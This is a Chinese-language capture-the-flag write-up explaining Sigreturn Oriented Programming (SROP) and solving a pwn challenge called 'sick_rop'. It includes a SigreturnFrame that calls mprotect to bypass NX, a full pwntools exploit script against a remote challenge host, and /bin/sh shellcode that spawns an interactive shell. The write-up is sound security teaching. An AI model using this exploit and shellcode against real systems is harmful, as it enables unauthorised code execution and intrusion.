Before all
SROP
SROP = Sigreturn Oriented Programming
一支程式如果接到signal,它會把寄存器值存到stack上,這叫signal frame
而這些資料被處裡完後需要透過__restore_rt
的函數去做return
進行真的存取,也就是syscall table上面0xf
的syscallrt_sigreturn
利用場景主要就在ROP GADGET非常不足時…
Write Up
Analysis
checksec
ROPgadget
radare2
可以發現很缺少ROP CHAIN, 程式本身只有開nx的防護,可以利用syscall table裡面的mprotect
(就是0xa
)進行資料段改權限。
幾個觀察點:
RAX的值會隨著輸入長度+1(因為會算上換行)而改變
找可寫入的地址:(with gdb-peda vmmap)
syscall 時需要呼叫回去vuln的函數,找一個指向它地址的指標:
就可以湊出利用 Sigreturn 改寫權限的 signal frame:
1 2 3 4 5 6 7 8
| writable = 0x400000 frame = SigreturnFrame(kernel="amd64") frame.rax = 10 frame.rdi = writable frame.rsi = 0x40000 frame.rdx = 7 frame.rsp = vuln_pointer frame.rip = syscall
|
最後改寫成功就可以繞調 NX 防護,然後進行一般的 RET 2 SHELLCODE!!!
完整腳本:
Exploit.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import * context.arch='amd64'
r=remote('83.136.255.150', 52277) rop=ROP('./sick_rop')
vuln=0x0040102e vuln_pointer=0x4010d8 shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" syscall=rop.syscall[0]
writable = 0x400000 frame = SigreturnFrame(kernel="amd64") frame.rax = 10 frame.rdi = writable frame.rsi = 0x40000 frame.rdx = 7 frame.rsp = vuln_pointer frame.rip = syscall
payload1=b'w'*40+flat(vuln, syscall)+bytes(frame) r.sendline(payload1) r.recv() r.sendline(b'w'*14) r.recv()
payload2=shellcode+b'w'*17+p64(0x4010b8) r.sendline(payload2) r.interactive()
|
p.s.中間有利用pwntools的gdb看過return address